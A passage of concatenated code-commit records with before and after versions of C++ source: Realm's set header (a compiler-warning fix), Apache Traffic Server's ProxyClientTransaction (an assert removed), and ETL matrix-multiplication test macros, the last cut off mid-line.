erase(T value);\n\n    \/\/ Overriding members of CollectionBase:\n    Mixed min(size_t* return_ndx = nullptr) const final;\n    Mixed max(size_t* return_ndx = nullptr) const final;\n    Mixed sum(size_t* return_cnt = nullptr) const final;\n    Mixed avg(size_t* return_cnt = nullptr) const final;\n    void sort(std::vector<size_t>& indices, bool ascending = true) const final;\n    void distinct(std::vector<size_t>& indices, util::Optional<bool> sort_order = util::none) const final;\n\n    \/\/ Overriding members of SetBase:\n    void insert_null() override;\n    void erase_null() override;\n    void clear() override;\n\nprivate:\n    using Collection<T, SetBase>::m_valid;\n    using Collection<T, SetBase>::m_obj;\n\n    void create()\n    {\n        m_tree->create();\n        m_valid = true;\n    }\n\n    bool update_if_needed()\n    {\n        if (m_obj.update_if_needed()) {\n            return this->init_from_parent();\n        }\n        return false;\n    }\n    void ensure_created()\n    {\n        if (!m_valid && m_obj.is_valid()) {\n            create();\n        }\n    }\n};\n\n\/\/\/ Compare set elements.\n\/\/\/\n\/\/\/ We cannot use `std::less<>` directly, because the ordering of set elements\n\/\/\/ impacts the file format. For primitive types this is trivial (and can indeed\n\/\/\/ be just `std::less<>`), but for example `Mixed` has specialized comparison\n\/\/\/ that defines equality of numeric types.\ntemplate <class T>\nstruct SetElementLessThan {\n    bool operator()(const T& a, const T& b) const noexcept\n    {\n        \/\/ CAUTION: This routine is technically part of the file format, because\n        \/\/ it determines the storage order of Set elements.\n        return a < b;\n    }\n};\n\ntemplate <class T>\nstruct SetElementEquals {\n    bool operator()(const T& a, const T& b) const noexcept\n    {\n        \/\/ CAUTION: This routine is technically part of the file format, because\n        \/\/ it determines the storage order of Set elements.\n        return a == b;\n    }\n};\n\ntemplate <>\nstruct SetElementLessThan<Mixed> {\n    bool operator()(const Mixed& a, const Mixed& b) const noexcept\n    {\n        \/\/ CAUTION: This routine is technically part of the file format, because\n        \/\/ it determines the storage order of Set elements.\n\n        if (a.is_null() != b.is_null()) {\n            \/\/ If a is NULL but not b, a < b.\n            return a.is_null();\n        }\n        else if (a.is_null()) {\n            \/\/ NULLs are equal.\n            return false;\n        }\n\n        if (a.get_type() != b.get_type()) {\n            return a.get_type() < b.get_type();\n        }\n\n        switch (a.get_type()) {\n            case type_Int:\n                return a.get<int64_t>() < b.get<int64_t>();\n            case type_Bool:\n                return a.get<bool>() < b.get<bool>();\n            case type_String:\n                return a.get<StringData>() < b.get<StringData>();\n            case type_Binary:\n                return a.get<BinaryData>() < b.get<BinaryData>();\n            case type_Timestamp:\n                return a.get<Timestamp>() < b.get<Timestamp>();\n            case type_Float:\n                return a.get<float>() < b.get<float>();\n            case type_Double:\n                return a.get<double>() < b.get<double>();\n            case type_Decimal:\n                return a.get<Decimal128>() < b.get<Decimal128>();\n            case type_ObjectId:\n                return a.get<ObjectId>() < b.get<ObjectId>();\n            case type_TypedLink:\n                return a.get<ObjLink>() < b.get<ObjLink>();\n            case type_OldTable:\n                [[fallthrough]];\n            case type_Mixed:\n                [[fallthrough]];\n            case type_OldDateTime:\n                [[fallthrough]];\n            case type_Link:\n                [[fallthrough]];\n            case type_LinkList:\n                REALM_TERMINATE(\"Invalid Mixed payload in Set.\");\n                return false;\n        }\n    }\n};\n\ntemplate <>\nstruct SetElementEquals<Mixed> {\n    bool operator()(const Mixed& a, const Mixed& b) const noexcept\n    {\n        \/\/ CAUTION: This routine is technically part of the file format, because\n        \/\/ it determines the storage order of Set elements.\n\n        if (a.is_null() != b.is_null()) {\n            return false;\n        }\n        else if (a.is_null()) {\n            return true;\n        }\n\n        if (a.get_type() != b.get_type()) {\n            return false;\n        }\n\n        switch (a.get_type()) {\n            case type_Int:\n                return a.get<int64_t>() == b.get<int64_t>();\n            case type_Bool:\n                return a.get<bool>() == b.get<bool>();\n            case type_String:\n                return a.get<StringData>() == b.get<StringData>();\n            case type_Binary:\n                return a.get<BinaryData>() == b.get<BinaryData>();\n            case type_Timestamp:\n                return a.get<Timestamp>() == b.get<Timestamp>();\n            case type_Float:\n                return a.get<float>() == b.get<float>();\n            case type_Double:\n                return a.get<double>() == b.get<double>();\n            case type_Decimal:\n                return a.get<Decimal128>() == b.get<Decimal128>();\n            case type_ObjectId:\n                return a.get<ObjectId>() == b.get<ObjectId>();\n            case type_TypedLink:\n                return a.get<ObjLink>() == b.get<ObjLink>();\n            case type_OldTable:\n                [[fallthrough]];\n            case type_Mixed:\n                [[fallthrough]];\n            case type_OldDateTime:\n                [[fallthrough]];\n            case type_Link:\n                [[fallthrough]];\n            case type_LinkList:\n                REALM_TERMINATE(\"Invalid Mixed payload in Set.\");\n                return false;\n        }\n    }\n};\n\ntemplate <class T>\ninline Set<T>::Set(const Obj& obj, ColKey col_key)\n    : Collection<T, SetBase>(obj, col_key)\n{\n    if (m_obj) {\n        this->init_from_parent();\n    }\n}\n\ntemplate <typename U>\nSet<U> Obj::get_set(ColKey col_key) const\n{\n    return Set<U>(*this, col_key);\n}\n\ntemplate <class T>\nsize_t Set<T>::find(T value) const\n{\n    return m_tree->find_first(value);\n}\n\ntemplate <class T>\nsize_t Set<T>::insert(T value)\n{\n    REALM_ASSERT_DEBUG(!update_if_needed());\n\n    ensure_created();\n    this->ensure_writeable();\n    auto b = this->begin();\n    auto e = this->end();\n    auto it = std::lower_bound(b, e, value, SetElementLessThan<T>{});\n\n    if (it != e && SetElementEquals<T>{}(*it, value)) {\n        return it.index();\n    }\n\n    if (Replication* repl = m_obj.get_replication()) {\n        \/\/ FIXME: We should emit an instruction regardless of element presence for the purposes of conflict\n        \/\/ resolution in synchronized databases. The reason is that the new insertion may come at a later time\n        \/\/ than an interleaving erase instruction, so emitting the instruction ensures that last \"write\" wins.\n        repl->set_insert(*this, it.index(), value);\n    }\n\n    m_tree->insert(it.index(), value);\n    CollectionBase::m_obj.bump_content_version();\n    return it.index();\n}\n\ntemplate <class T>\nsize_t Set<T>::erase(T value)\n{\n    REALM_ASSERT_DEBUG(!update_if_needed());\n    this->ensure_writeable();\n\n    auto b = this->begin();\n    auto e = this->end();\n    auto it = std::lower_bound(b, e, value, SetElementLessThan<T>{});\n\n    if (it == e || !SetElementEquals<T>{}(*it, value)) {\n        return not_found;\n    }\n\n    if (Replication* repl = m_obj.get_replication()) {\n        repl->set_erase(*this, it.index(), value);\n    }\n    m_tree->erase(it.index());\n    CollectionBase::adj_remove(it.index());\n    CollectionBase::m_obj.bump_content_version();\n    return it.index();\n}\n\ntemplate <class T>\ninline void Set<T>::insert_null()\n{\n    insert(BPlusTree<T>::default_value(this->m_nullable));\n}\n\ntemplate <class T>\ninline void Set<T>::erase_null()\n{\n    erase(BPlusTree<T>::default_value(this->m_nullable));\n}\n\ntemplate <class T>\ninline void Set<T>::clear()\n{\n    ensure_created();\n    update_if_needed();\n    this->ensure_writeable();\n    if (size() > 0) {\n        if (Replication* repl = this->m_obj.get_replication()) {\n            repl->set_clear(*this);\n        }\n        m_tree->clear();\n        m_obj.bump_content_version();\n    }\n}\n\ntemplate <class T>\ninline Mixed Set<T>::min(size_t* return_ndx) const\n{\n    if (size() != 0) {\n        if (return_ndx) {\n            *return_ndx = 0;\n        }\n        return *begin();\n    }\n    else {\n        if (return_ndx) {\n            *return_ndx = not_found;\n        }\n        return Mixed{};\n    }\n}\n\ntemplate <class T>\ninline Mixed Set<T>::max(size_t* return_ndx) const\n{\n    auto sz = size();\n    if (sz != 0) {\n        if (return_ndx) {\n            *return_ndx = sz - 1;\n        }\n        auto e = end();\n        --e;\n        return *e;\n    }\n    else {\n        if (return_ndx) {\n            *return_ndx = not_found;\n        }\n        return Mixed{};\n    }\n}\n\ntemplate <class T>\ninline Mixed Set<T>::sum(size_t* return_cnt) const\n{\n    return SumHelper<T>::eval(*m_tree, return_cnt);\n}\n\ntemplate <class T>\ninline Mixed Set<T>::avg(size_t* return_cnt) const\n{\n    return AverageHelper<T>::eval(*m_tree, return_cnt);\n}\n\ntemplate <class T>\ninline void Set<T>::sort(std::vector<size_t>& indices, bool ascending) const\n{\n    auto sz = size();\n    indices.resize(sz);\n    if (ascending) {\n        std::iota(indices.begin(), indices.end(), 0);\n    }\n    else {\n        std::iota(indices.rbegin(), indices.rend(), 0);\n    }\n}\n\ntemplate <class T>\ninline void Set<T>::distinct(std::vector<size_t>& indices, util::Optional<bool> sort_order) const\n{\n    auto ascending = !sort_order || *sort_order;\n    sort(indices, ascending);\n}\n\n} \/\/ namespace realm\n\n#endif \/\/ REALM_SET_HPP\n<commit_msg>Fix compiler warning<commit_after>\/*************************************************************************\n *\n * Copyright 2020 Realm Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n **************************************************************************\/\n\n#ifndef REALM_SET_HPP\n#define REALM_SET_HPP\n\n#include <realm\/collection.hpp>\n\n#include <numeric> \/\/ std::iota\n\nnamespace realm {\n\nclass SetBase : public CollectionBase {\npublic:\n    using CollectionBase::CollectionBase;\n\n    virtual ~SetBase() {}\n    SetBasePtr clone() const\n    {\n        return m_obj.get_setbase_ptr(m_col_key);\n    }\n\n    virtual void insert_null() = 0;\n    virtual void erase_null() = 0;\n    virtual void clear() = 0;\n\nprotected:\n    void clear_repl(Replication* repl) const;\n};\n\ntemplate <class T>\nclass Set : public Collection<T, SetBase> {\npublic:\n    using Collection<T, SetBase>::m_tree;\n    using Collection<T, SetBase>::size;\n    using Collection<T, SetBase>::begin;\n    using Collection<T, SetBase>::end;\n    using Collection<T, SetBase>::get;\n\n    Set() = default;\n    Set(const Obj& owner, ColKey col_key);\n\n    \/\/\/ Insert a value into the set if it does not already exist, returning the index of the inserted value,\n    \/\/\/ or the index of the already-existing value.\n    size_t insert(T value);\n\n    \/\/\/ Find the index of a value in the set, or `size_t(-1)` if it is not in the set.\n    size_t find(T value) const;\n\n    \/\/\/ Erase an element from the set, returning the index at which it was removed, or `size_t(-1)` if it did\n    \/\/\/ not exist.\n    size_t erase(T value);\n\n    \/\/ Overriding members of CollectionBase:\n    Mixed min(size_t* return_ndx = nullptr) const final;\n    Mixed max(size_t* return_ndx = nullptr) const final;\n    Mixed sum(size_t* return_cnt = nullptr) const final;\n    Mixed avg(size_t* return_cnt = nullptr) const final;\n    void sort(std::vector<size_t>& indices, bool ascending = true) const final;\n    void distinct(std::vector<size_t>& indices, util::Optional<bool> sort_order = util::none) const final;\n\n    \/\/ Overriding members of SetBase:\n    void insert_null() override;\n    void erase_null() override;\n    void clear() override;\n\nprivate:\n    using Collection<T, SetBase>::m_valid;\n    using Collection<T, SetBase>::m_obj;\n\n    void create()\n    {\n        m_tree->create();\n        m_valid = true;\n    }\n\n    bool update_if_needed()\n    {\n        if (m_obj.update_if_needed()) {\n            return this->init_from_parent();\n        }\n        return false;\n    }\n    void ensure_created()\n    {\n        if (!m_valid && m_obj.is_valid()) {\n            create();\n        }\n    }\n};\n\n\/\/\/ Compare set elements.\n\/\/\/\n\/\/\/ We cannot use `std::less<>` directly, because the ordering of set elements\n\/\/\/ impacts the file format. For primitive types this is trivial (and can indeed\n\/\/\/ be just `std::less<>`), but for example `Mixed` has specialized comparison\n\/\/\/ that defines equality of numeric types.\ntemplate <class T>\nstruct SetElementLessThan {\n    bool operator()(const T& a, const T& b) const noexcept\n    {\n        \/\/ CAUTION: This routine is technically part of the file format, because\n        \/\/ it determines the storage order of Set elements.\n        return a < b;\n    }\n};\n\ntemplate <class T>\nstruct SetElementEquals {\n    bool operator()(const T& a, const T& b) const noexcept\n    {\n        \/\/ CAUTION: This routine is technically part of the file format, because\n        \/\/ it determines the storage order of Set elements.\n        return a == b;\n    }\n};\n\ntemplate <>\nstruct SetElementLessThan<Mixed> {\n    bool operator()(const Mixed& a, const Mixed& b) const noexcept\n    {\n        \/\/ CAUTION: This routine is technically part of the file format, because\n        \/\/ it determines the storage order of Set elements.\n\n        if (a.is_null() != b.is_null()) {\n            \/\/ If a is NULL but not b, a < b.\n            return a.is_null();\n        }\n        else if (a.is_null()) {\n            \/\/ NULLs are equal.\n            return false;\n        }\n\n        if (a.get_type() != b.get_type()) {\n            return a.get_type() < b.get_type();\n        }\n\n        switch (a.get_type()) {\n            case type_Int:\n                return a.get<int64_t>() < b.get<int64_t>();\n            case type_Bool:\n                return a.get<bool>() < b.get<bool>();\n            case type_String:\n                return a.get<StringData>() < b.get<StringData>();\n            case type_Binary:\n                return a.get<BinaryData>() < b.get<BinaryData>();\n            case type_Timestamp:\n                return a.get<Timestamp>() < b.get<Timestamp>();\n            case type_Float:\n                return a.get<float>() < b.get<float>();\n            case type_Double:\n                return a.get<double>() < b.get<double>();\n            case type_Decimal:\n                return a.get<Decimal128>() < b.get<Decimal128>();\n            case type_ObjectId:\n                return a.get<ObjectId>() < b.get<ObjectId>();\n            case type_TypedLink:\n                return a.get<ObjLink>() < b.get<ObjLink>();\n            case type_OldTable:\n                [[fallthrough]];\n            case type_Mixed:\n                [[fallthrough]];\n            case type_OldDateTime:\n                [[fallthrough]];\n            case type_Link:\n                [[fallthrough]];\n            case type_LinkList:\n                REALM_TERMINATE(\"Invalid Mixed payload in Set.\");\n        }\n        return false;\n    }\n};\n\ntemplate <>\nstruct SetElementEquals<Mixed> {\n    bool operator()(const Mixed& a, const Mixed& b) const noexcept\n    {\n        \/\/ CAUTION: This routine is technically part of the file format, because\n        \/\/ it determines the storage order of Set elements.\n\n        if (a.is_null() != b.is_null()) {\n            return false;\n        }\n        else if (a.is_null()) {\n            return true;\n        }\n\n        if (a.get_type() != b.get_type()) {\n            return false;\n        }\n\n        switch (a.get_type()) {\n            case type_Int:\n                return a.get<int64_t>() == b.get<int64_t>();\n            case type_Bool:\n                return a.get<bool>() == b.get<bool>();\n            case type_String:\n                return a.get<StringData>() == b.get<StringData>();\n            case type_Binary:\n                return a.get<BinaryData>() == b.get<BinaryData>();\n            case type_Timestamp:\n                return a.get<Timestamp>() == b.get<Timestamp>();\n            case type_Float:\n                return a.get<float>() == b.get<float>();\n            case type_Double:\n                return a.get<double>() == b.get<double>();\n            case type_Decimal:\n                return a.get<Decimal128>() == b.get<Decimal128>();\n            case type_ObjectId:\n                return a.get<ObjectId>() == b.get<ObjectId>();\n            case type_TypedLink:\n                return a.get<ObjLink>() == b.get<ObjLink>();\n            case type_OldTable:\n                [[fallthrough]];\n            case type_Mixed:\n                [[fallthrough]];\n            case type_OldDateTime:\n                [[fallthrough]];\n            case type_Link:\n                [[fallthrough]];\n            case type_LinkList:\n                REALM_TERMINATE(\"Invalid Mixed payload in Set.\");\n        }\n        return false;\n    }\n};\n\ntemplate <class T>\ninline Set<T>::Set(const Obj& obj, ColKey col_key)\n    : Collection<T, SetBase>(obj, col_key)\n{\n    if (m_obj) {\n        this->init_from_parent();\n    }\n}\n\ntemplate <typename U>\nSet<U> Obj::get_set(ColKey col_key) const\n{\n    return Set<U>(*this, col_key);\n}\n\ntemplate <class T>\nsize_t Set<T>::find(T value) const\n{\n    return m_tree->find_first(value);\n}\n\ntemplate <class T>\nsize_t Set<T>::insert(T value)\n{\n    REALM_ASSERT_DEBUG(!update_if_needed());\n\n    ensure_created();\n    this->ensure_writeable();\n    auto b = this->begin();\n    auto e = this->end();\n    auto it = std::lower_bound(b, e, value, SetElementLessThan<T>{});\n\n    if (it != e && SetElementEquals<T>{}(*it, value)) {\n        return it.index();\n    }\n\n    if (Replication* repl = m_obj.get_replication()) {\n        \/\/ FIXME: We should emit an instruction regardless of element presence for the purposes of conflict\n        \/\/ resolution in synchronized databases. The reason is that the new insertion may come at a later time\n        \/\/ than an interleaving erase instruction, so emitting the instruction ensures that last \"write\" wins.\n        repl->set_insert(*this, it.index(), value);\n    }\n\n    m_tree->insert(it.index(), value);\n    CollectionBase::m_obj.bump_content_version();\n    return it.index();\n}\n\ntemplate <class T>\nsize_t Set<T>::erase(T value)\n{\n    REALM_ASSERT_DEBUG(!update_if_needed());\n    this->ensure_writeable();\n\n    auto b = this->begin();\n    auto e = this->end();\n    auto it = std::lower_bound(b, e, value, SetElementLessThan<T>{});\n\n    if (it == e || !SetElementEquals<T>{}(*it, value)) {\n        return not_found;\n    }\n\n    if (Replication* repl = m_obj.get_replication()) {\n        repl->set_erase(*this, it.index(), value);\n    }\n    m_tree->erase(it.index());\n    CollectionBase::adj_remove(it.index());\n    CollectionBase::m_obj.bump_content_version();\n    return it.index();\n}\n\ntemplate <class T>\ninline void Set<T>::insert_null()\n{\n    insert(BPlusTree<T>::default_value(this->m_nullable));\n}\n\ntemplate <class T>\ninline void Set<T>::erase_null()\n{\n    erase(BPlusTree<T>::default_value(this->m_nullable));\n}\n\ntemplate <class T>\ninline void Set<T>::clear()\n{\n    ensure_created();\n    update_if_needed();\n    this->ensure_writeable();\n    if (size() > 0) {\n        if (Replication* repl = this->m_obj.get_replication()) {\n            repl->set_clear(*this);\n        }\n        m_tree->clear();\n        m_obj.bump_content_version();\n    }\n}\n\ntemplate <class T>\ninline Mixed Set<T>::min(size_t* return_ndx) const\n{\n    if (size() != 0) {\n        if (return_ndx) {\n            *return_ndx = 0;\n        }\n        return *begin();\n    }\n    else {\n        if (return_ndx) {\n            *return_ndx = not_found;\n        }\n        return Mixed{};\n    }\n}\n\ntemplate <class T>\ninline Mixed Set<T>::max(size_t* return_ndx) const\n{\n    auto sz = size();\n    if (sz != 0) {\n        if (return_ndx) {\n            *return_ndx = sz - 1;\n        }\n        auto e = end();\n        --e;\n        return *e;\n    }\n    else {\n        if (return_ndx) {\n            *return_ndx = not_found;\n        }\n        return Mixed{};\n    }\n}\n\ntemplate <class T>\ninline Mixed Set<T>::sum(size_t* return_cnt) const\n{\n    return SumHelper<T>::eval(*m_tree, return_cnt);\n}\n\ntemplate <class T>\ninline Mixed Set<T>::avg(size_t* return_cnt) const\n{\n    return AverageHelper<T>::eval(*m_tree, return_cnt);\n}\n\ntemplate <class T>\ninline void Set<T>::sort(std::vector<size_t>& indices, bool ascending) const\n{\n    auto sz = size();\n    indices.resize(sz);\n    if (ascending) {\n        std::iota(indices.begin(), indices.end(), 0);\n    }\n    else {\n        std::iota(indices.rbegin(), indices.rend(), 0);\n    }\n}\n\ntemplate <class T>\ninline void Set<T>::distinct(std::vector<size_t>& indices, util::Optional<bool> sort_order) const\n{\n    auto ascending = !sort_order || *sort_order;\n    sort(indices, ascending);\n}\n\n} \/\/ namespace realm\n\n#endif \/\/ REALM_SET_HPP\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>test tools: reset moved attribute in MoveOnly<commit_after><|endoftext|>"}
{"text":"<commit_before>\/** @file\n\n  ProxyClientTransaction - Base class for protocol client transactions.\n\n  @section license License\n\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at\n\n      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n *\/\n\n#include \"http\/HttpSM.h\"\n#include \"http\/HttpServerSession.h\"\n#include \"Plugin.h\"\n\n#define DebugHttpTxn(fmt, ...) DebugSsn(this, \"http_txn\", fmt, __VA_ARGS__)\n\nProxyClientTransaction::ProxyClientTransaction()\n  : VConnection(NULL),\n    m_active(false),\n    parent(NULL),\n    current_reader(NULL),\n    sm_reader(NULL),\n    host_res_style(HOST_RES_NONE),\n    restart_immediate(false)\n{\n}\n\nvoid\nProxyClientTransaction::new_transaction()\n{\n  ink_assert(current_reader == NULL);\n\n  \/\/ Defensive programming, make sure nothing persists across\n  \/\/ connection re-use\n\n  ink_release_assert(parent != NULL);\n  current_reader = HttpSM::allocate();\n  current_reader->init();\n  DebugHttpTxn(\"[%\" PRId64 \"] Starting transaction %d using sm [%\" PRId64 \"]\", parent->connection_id(),\n               parent->get_transact_count(), current_reader->sm_id);\n\n  current_reader->attach_client_session(this, sm_reader);\n}\n\nvoid\nProxyClientTransaction::release(IOBufferReader *r)\n{\n  ink_assert(current_reader != NULL);\n\n  DebugHttpTxn(\"[%\" PRId64 \"] session released by sm [%\" PRId64 \"]\", parent ? parent->connection_id() : 0,\n               current_reader ? current_reader->sm_id : 0);\n\n  \/\/ current_reader = NULL; \/\/ Clear reference to SM\n\n  \/\/ Pass along the release to the session\n  if (parent) {\n    parent->release(this);\n  }\n}\n\nvoid\nProxyClientTransaction::attach_server_session(HttpServerSession *ssession, bool transaction_done)\n{\n  parent->attach_server_session(ssession, transaction_done);\n}\n\nvoid\nProxyClientTransaction::destroy()\n{\n  if (current_reader) {\n    current_reader->ua_session = NULL;\n    current_reader             = NULL;\n  }\n  this->mutex.clear();\n}\n\nAction *\nProxyClientTransaction::adjust_thread(Continuation *cont, int event, void *data)\n{\n  NetVConnection *vc   = this->get_netvc();\n  EThread *this_thread = this_ethread();\n  if (vc && vc->thread != this_thread) {\n    if (vc->thread->is_event_type(ET_NET) || vc->thread->is_event_type(SSLNetProcessor::ET_SSL)) {\n      return vc->thread->schedule_imm(cont, event, data);\n    } else { \/\/ Not a net thread, take over this thread\n      vc->thread = this_thread;\n    }\n  }\n  return NULL;\n}\n<commit_msg>TS-4726: Remove unnecessary assert in ProxyClientTransaction::release<commit_after>\/** @file\n\n  ProxyClientTransaction - Base class for protocol client transactions.\n\n  @section license License\n\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at\n\n      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n *\/\n\n#include \"http\/HttpSM.h\"\n#include \"http\/HttpServerSession.h\"\n#include \"Plugin.h\"\n\n#define DebugHttpTxn(fmt, ...) DebugSsn(this, \"http_txn\", fmt, __VA_ARGS__)\n\nProxyClientTransaction::ProxyClientTransaction()\n  : VConnection(NULL),\n    m_active(false),\n    parent(NULL),\n    current_reader(NULL),\n    sm_reader(NULL),\n    host_res_style(HOST_RES_NONE),\n    restart_immediate(false)\n{\n}\n\nvoid\nProxyClientTransaction::new_transaction()\n{\n  ink_assert(current_reader == NULL);\n\n  \/\/ Defensive programming, make sure nothing persists across\n  \/\/ connection re-use\n\n  ink_release_assert(parent != NULL);\n  current_reader = HttpSM::allocate();\n  current_reader->init();\n  DebugHttpTxn(\"[%\" PRId64 \"] Starting transaction %d using sm [%\" PRId64 \"]\", parent->connection_id(),\n               parent->get_transact_count(), current_reader->sm_id);\n\n  current_reader->attach_client_session(this, sm_reader);\n}\n\nvoid\nProxyClientTransaction::release(IOBufferReader *r)\n{\n  DebugHttpTxn(\"[%\" PRId64 \"] session released by sm [%\" PRId64 \"]\", parent ? parent->connection_id() : 0,\n               current_reader ? current_reader->sm_id : 0);\n\n  \/\/ Pass along the release to the session\n  if (parent) {\n    parent->release(this);\n  }\n}\n\nvoid\nProxyClientTransaction::attach_server_session(HttpServerSession *ssession, bool transaction_done)\n{\n  parent->attach_server_session(ssession, transaction_done);\n}\n\nvoid\nProxyClientTransaction::destroy()\n{\n  if (current_reader) {\n    current_reader->ua_session = NULL;\n    current_reader             = NULL;\n  }\n  this->mutex.clear();\n}\n\nAction *\nProxyClientTransaction::adjust_thread(Continuation *cont, int event, void *data)\n{\n  NetVConnection *vc   = this->get_netvc();\n  EThread *this_thread = this_ethread();\n  if (vc && vc->thread != this_thread) {\n    if (vc->thread->is_event_type(ET_NET) || vc->thread->is_event_type(SSLNetProcessor::ET_SSL)) {\n      return vc->thread->schedule_imm(cont, event, data);\n    } else { \/\/ Not a net thread, take over this thread\n      vc->thread = this_thread;\n    }\n  }\n  return NULL;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2015 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#define MMUL_FUNCTOR( name, ...)                                \\\nstruct name {                                                   \\\n    template<typename A, typename B, typename C>                \\\n    static void apply(A&& a, B&& b, C& c){                      \\\n        __VA_ARGS__;                                            \\\n    }                                                           \\\n};\n\nMMUL_FUNCTOR( default_mmul, c = etl::mul(a, b) )\nMMUL_FUNCTOR( lazy_mmul, c = etl::lazy_mul(a, b) )\nMMUL_FUNCTOR( strassen_mmul, c = etl::strassen_mul(a, b) )\nMMUL_FUNCTOR( std_mmul, etl::impl::standard::mm_mul(a, b, c) )\nMMUL_FUNCTOR( eblas_mmul_float, etl::impl::eblas::fast_sgemm(a, b, c) )\nMMUL_FUNCTOR( eblas_mmul_double, etl::impl::eblas::fast_dgemm(a, b, c) )\n\n#define MMUL_TEST_CASE_SECTION_DEFAULT   MMUL_TEST_CASE_SECTIONS( default_mmul, default_mmul )\n#define MMUL_TEST_CASE_SECTION_LAZY      MMUL_TEST_CASE_SECTIONS( lazy_mmul, lazy_mmul )\n#define MMUL_TEST_CASE_SECTION_STD       MMUL_TEST_CASE_SECTIONS( std_mmul, std_mmul )\n#define MMUL_TEST_CASE_SECTION_STRASSEN  MMUL_TEST_CASE_SECTIONS( strassen_mmul, strassen_mmul )\n#define MMUL_TEST_CASE_SECTION_EBLAS     MMUL_TEST_CASE_SECTIONS( eblas_mmul_float, eblas_mmul_double )\n\n#ifdef ETL_BLAS_MODE\nMMUL_FUNCTOR( blas_mmul_float, etl::impl::blas::sgemm(a, b, c) )\nMMUL_FUNCTOR( blas_mmul_double, etl::impl::blas::dgemm(a, b, c) )\n#define MMUL_TEST_CASE_SECTION_BLAS  MMUL_TEST_CASE_SECTIONS( blas_mmul_float, blas_mmul_double )\n#else\n#define MMUL_TEST_CASE_SECTION_BLAS\n#endif\n\n#define MMUL_TEST_CASE_DECL( name, description ) \\\n    template<typename T, typename Impl> \\\n    static void INTERNAL_CATCH_UNIQUE_NAME( ____C_A_T_C_H____T_E_M_P_L_A_TE____T_E_S_T____ )(); \\\n    TEST_CASE( name, description )\n\n#define MMUL_TEST_CASE_SECTION( Tn, Impln) \\\n        SECTION( #Tn #Impln ) \\\n        { \\\n            INTERNAL_CATCH_UNIQUE_NAME( ____C_A_T_C_H____T_E_M_P_L_A_TE____T_E_S_T____ )<Tn, Impln>(); \\\n        }\n\n#define MMUL_TEST_CASE_DEFN \\\n    template<typename T, typename Impl> \\\n    static void INTERNAL_CATCH_UNIQUE_NAME( ____C_A_T_C_H____T_E_M_P_L_A_TE____T_E_S_T____ )()\n\n#define MMUL_TEST_CASE_SECTIONS( S1, S2 ) \\\n    MMUL_TEST_CASE_SECTION( float, S1 ) \\\n    MMUL_TEST_CASE_SECTION( double, S2 )\n\n#define MMUL_TEST_CASE( name, description ) \\\n    MMUL_TEST_CASE_DECL( name, description ) \\\n    { \\\n        MMUL_TEST_CASE_SECTION_DEFAULT \\\n        MMUL_TEST_CASE_SECTION_STD \\\n        MMUL_TEST_CASE_SECTION_LAZY \\\n        MMUL_TEST_CASE_SECTION_STRASSEN \\\n        MMUL_TEST_CASE_SECTION_BLAS \\\n        MMUL_TEST_CASE_SECTION_EBLAS \\\n    } \\\n    MMUL_TEST_CASE_DEFN\n<commit_msg>Fix include + section name<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2015 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#include \"etl\/etl.hpp\"\n\n#define MMUL_FUNCTOR( name, ...)                                \\\nstruct name {                                                   \\\n    template<typename A, typename B, typename C>                \\\n    static void apply(A&& a, B&& b, C& c){                      \\\n        __VA_ARGS__;                                            \\\n    }                                                           \\\n};\n\nMMUL_FUNCTOR( default_mmul, c = etl::mul(a, b) )\nMMUL_FUNCTOR( lazy_mmul, c = etl::lazy_mul(a, b) )\nMMUL_FUNCTOR( strassen_mmul, c = etl::strassen_mul(a, b) )\nMMUL_FUNCTOR( std_mmul, etl::impl::standard::mm_mul(a, b, c) )\nMMUL_FUNCTOR( eblas_mmul_float, etl::impl::eblas::fast_sgemm(a, b, c) )\nMMUL_FUNCTOR( eblas_mmul_double, etl::impl::eblas::fast_dgemm(a, b, c) )\n\n#define MMUL_TEST_CASE_SECTION_DEFAULT   MMUL_TEST_CASE_SECTIONS( default_mmul, default_mmul )\n#define MMUL_TEST_CASE_SECTION_LAZY      MMUL_TEST_CASE_SECTIONS( lazy_mmul, lazy_mmul )\n#define MMUL_TEST_CASE_SECTION_STD       MMUL_TEST_CASE_SECTIONS( std_mmul, std_mmul )\n#define MMUL_TEST_CASE_SECTION_STRASSEN  MMUL_TEST_CASE_SECTIONS( strassen_mmul, strassen_mmul )\n#define MMUL_TEST_CASE_SECTION_EBLAS     MMUL_TEST_CASE_SECTIONS( eblas_mmul_float, eblas_mmul_double )\n\n#ifdef 